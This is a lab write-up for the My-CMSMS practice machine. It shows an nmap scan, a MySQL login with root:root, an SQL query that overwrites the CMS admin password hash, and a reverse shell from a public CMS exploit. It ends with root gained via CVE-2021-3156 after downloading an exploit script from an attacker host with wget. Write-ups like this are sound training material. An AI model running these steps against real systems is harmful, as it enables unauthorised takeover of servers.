Post

My-CMSMS

Posted Updated
Proving Grounds, Play Machine 🧑‍💻
Proving Grounds, Play Machine 🧑‍💻
By Shivendra Prajapati
6 min read

You can also find this machine on VulnHub : My-CMSMS

Port Scan Results ⤵️

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

┌──(kali㉿kali)-[~/Downloads/Proving_Ground/MY-CMSMS]
└─$ nmap -sC -sV -p- -T4 -oN Nmap_results.txt 192.168.171.74
Nmap scan report for 192.168.171.74
Host is up (0.00061s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 27219eb53963e91f2cb26bd33a5f317b (RSA)
|   256 bf908aa5d7e5de89e61a36a193401857 (ECDSA)
|_  256 951f329578085045cd8c7c714ad46c1c (ED25519)
80/tcp    open  http    Apache httpd 2.4.38 ((Debian))
3306/tcp  open  mysql   MySQL 8.0.19
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.19
|   Thread ID: 57
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, ODBCClient, FoundRows, LongPassword, IgnoreSigpipes, SupportsTransactions, ConnectWithDatabase, SwitchToSSLAfterHandshake, InteractiveClient, LongColumnFlag, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolNew, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x07\x144\x03	n\x7F5PA\x11G\x18q!\x11SRL\
|_  Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.19_Auto_Generated_Server_Certificate
| Not valid before: 2020-03-25T09:30:14
|_Not valid after:  2030-03-23T09:30:14
|_ssl-date: TLS randomness does not represent time
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000
1 service unrecognized despite returning data.

Web Enumeration ⤵️

I checked port 80 on browser and I got a CMS running on it which is CMS Made Simple version 2.2.13 →

Untitled

Lets check mysql server which is open on default port 3306 , tried it with root : root and I got in →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

┌──(kali㉿kali)-[~/Downloads/Proving_Ground/MY-CMSMS]
└─$ mysql -h 192.168.171.74 -u root -p 
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 368
Server version: 8.0.19 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| cmsms_db           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.169 sec)

MySQL [(none)]>

I got the admin credentials through it →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

MySQL [cmsms_db]> select * from cms_users \G;
*************************** 1. row ***************************
      user_id: 1
     username: admin
     password: 59f9ba27528694d9b3493dfde7709e70
 admin_access: 1
   first_name: 
    last_name: 
        email: admin@mycms.local
       active: 1
  create_date: 2020-03-25 09:38:46
modified_date: 2020-03-26 10:49:17
1 row in set (0.166 sec)

ERROR: No query specified

MySQL [cmsms_db]>

Lets Login into the CMS made simple site , I tired to decode this hash value but noluck from anywhere so I changed the password with my own MD5 hash value as this →

Untitled

Now I set the admin password as StrongShiv8 →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

MySQL [cmsms_db]> select * from cms_users \G;
*************************** 1. row ***************************
      user_id: 1
     username: admin
     password: 59f9ba27528694d9b3493dfde7709e70
 admin_access: 1
   first_name: 
    last_name: 
        email: admin@mycms.local
       active: 1
  create_date: 2020-03-25 09:38:46
modified_date: 2020-03-26 10:49:17
1 row in set (0.170 sec)

ERROR: No query specified

MySQL [cmsms_db]> update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value
    -> FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'StrongShiv8'))) where username = 'admin';
Query OK, 1 row affected (0.173 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MySQL [cmsms_db]> select * from cms_users \G;
*************************** 1. row ***************************
      user_id: 1
     username: admin
     password: 97fd6b919bf2ef743ca052e90c5dc693
 admin_access: 1
   first_name: 
    last_name: 
        email: admin@mycms.local
       active: 1
  create_date: 2020-03-25 09:38:46
modified_date: 2020-03-26 10:49:17
1 row in set (0.171 sec)

ERROR: No query specified

MySQL [cmsms_db]>

I used this query as it is encrypted the password as MD5 internally and save it in its location →

1
2

update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value
FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'StrongShiv8'))) where username = 'admin';

Now lets Login with admin : StrongShiv8 credentials →

Untitled

I now then followed this path →

CMS Made Simple 2.2.15 - RCE (Authenticated)

Through this path I got the reverse shell →

Untitled

Lets see how can I get to root →

1
2
3
4
5
6
7

www-data@mycmsms:/home/armour$ sudo -V
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
www-data@mycmsms:/home/armour$ which gcc
/usr/bin/gcc

Since Sudo version is vulnerable so I used a exploit named as CVE-2021-3156 (Sudo Baron Samedit)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

www-data@mycmsms:/home/armour$ cd /tmp
www-data@mycmsms:/tmp$ wget http://192.168.45.226/exploit_nss.py
--2023-12-03 03:54:59--  http://192.168.45.226/exploit_nss.py
Connecting to 192.168.45.226:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8179 (8.0K) [text/x-python]
Saving to: 'exploit_nss.py'

exploit_nss.py      100%[===================>]   7.99K  33.6KB/s    in 0.2s    

2023-12-03 03:54:59 (33.6 KB/s) - 'exploit_nss.py' saved [8179/8179]

www-data@mycmsms:/tmp$ chmod +x exploit_nss.py 
www-data@mycmsms:/tmp$ python3 exploit_nss.py 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),1001(nagios),1002(nagcmd)
# cd /root
# ls -al
total 20
drwx------  4 root root 4096 Dec  3 01:23 .
drwxr-xr-x 18 root root 4096 Jun 29  2020 ..
-rw-------  1 root root    0 Sep  1  2020 .bash_history
-rw-r--r--  1 root root    0 Aug 20  2020 .bashrc
drwx------  3 root root 4096 Mar 25  2020 .gnupg
-rw-r--r--  1 root root    0 Aug 20  2020 .profile
-rw-r--r--  1 root root    0 Aug 20  2020 .selected_editor
drwxr-xr-x  2 root root 4096 Mar 25  2020 .ssh
-rw-r--r--  1 root root   33 Dec  3 01:23 proof.txt
# cat proof.txt
737f884a55516fa1c1e64a69e7e7dc87
# cd /var/www
# ls -al
total 16
drwxr-xr-x  3 root     root     4096 Aug 14  2020 .
drwxr-xr-x 12 root     root     4096 Mar 25  2020 ..
drwxr-xr-x 10 root     root     4096 May 31  2020 html
-rw-r--r--  1 www-data www-data   33 Dec  3 01:23 local.txt
# cat local.txt
5ade5f099864c2f0f02d08cf9b63aabe
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:ba:77:da brd ff:ff:ff:ff:ff:ff
    inet 192.168.171.74/24 brd 192.168.171.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:feba:77da/64 scope link 
       valid_lft forever preferred_lft forever
# hostname
mycmsms
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),1001(nagios),1002(nagcmd)
# whoami
root
#

I am root now !!

If you have any questions or suggestions, please leave a comment below. Thank You !

Proving Grounds, Play
CMS Public Exploit mysql sudo exploit PrivEsc
This post is licensed under CC BY 4.0 by the author.